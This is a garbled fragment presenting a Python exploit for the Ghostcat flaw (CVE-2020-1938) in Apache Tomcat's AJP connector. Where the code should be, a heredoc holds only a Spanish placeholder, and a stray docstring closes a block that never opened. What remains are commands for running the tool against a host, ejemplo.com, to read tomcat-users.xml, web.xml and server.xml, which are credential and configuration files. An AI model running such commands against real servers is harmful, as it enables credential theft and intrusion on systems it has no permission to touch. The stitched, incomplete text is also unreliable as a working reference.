
Python exploit for CVE-2020-1938 (Ghostcat) that reads arbitrary files from Apache Tomcat servers via the AJP connector on port 8009, including configuration and credential files.
Ghostcat - CVE-2020-1938 Exploit Read Tomcat files via AJP connector (port 8009) Usage: python3 ghostcat.py [file] """
cat > ghostcat.py << 'PYEOF' [AQUÍ VA EL CÓDIGO COMPLETO DE ARRIBA] PYEOF
chmod +x ghostcat.py
python3 ghostcat.py ejemplo.com conf/tomcat-users.xml 8009
python3 ghostcat.py ejemplo.com WEB-INF/web.xml 8009
python3 ghostcat.py ejemplo.com conf/server.xml 8009